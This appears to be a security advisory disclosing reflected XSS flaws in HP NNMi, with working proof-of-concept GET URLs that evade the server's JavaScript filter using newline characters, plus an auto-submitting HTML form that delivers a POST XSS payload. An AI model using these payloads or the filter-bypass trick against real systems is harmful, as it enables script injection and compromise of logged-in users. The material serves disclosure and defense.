Description:
================
Multiple XSS vulnerabilities exist within HP NNMi. In the case of GET
request XSS, this is due to a poorly implemented filter that does not
fully protect against XSS. In the case of POST request XSS, this
appears to be due to a lack of any filter.
Of particular note is the fact that if the user is not logged in they
are presented with the login page and the XSS is activated upon login.

GET
-----
http://site/nnm/mibdiscover?node=<script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/configurationpoll.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/ping.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/statuspoll.jsp?nodename=</title><SCRIPT %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/traceroute.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>
When the filter detects javascript contained in GET request arguments,
the server responds with an error 500 and a stack trace, which starts
with:
javax.servlet.ServletException: Detected JavaScript tag in QueryString: "nodename=%3C/title%3E%3CSCRIPT%3E"; decoded: "nodename=</title><script>"
com.hp.ov.nms.ui.framework.web.HttpContextFilter.assertNoXss(HttpContextFilter.java:282)
com.hp.ov.nms.ui.framework.web.HttpContextFilter.checkForXssAttack(HttpContextFilter.java:237)
With the PoCs above, this filter is evaded by including newline
characters before the closing ">" of script tags.
POST
-----
PoC HTML:
<body onLoad="submit()">
<form name="form" action="http://site/nnm/validate" method="post">
<input type="hidden" name="binderId" value="ConsoleBinder" />
<input type="hidden" name="operation" value="command" />
<input type="hidden" name="field" value="]]><a xmlns='http://www.w3.org/1999/xhtml'><body onload='alert(/0a29/)'/></a>" />
<input type="hidden" name="value" value="a" />
<input type="hidden" name="requestId" value="b" />
<input type="submit" class="button" name="button" />
</form>
<script>
function submit() { document.form.submit(); } </script></body>
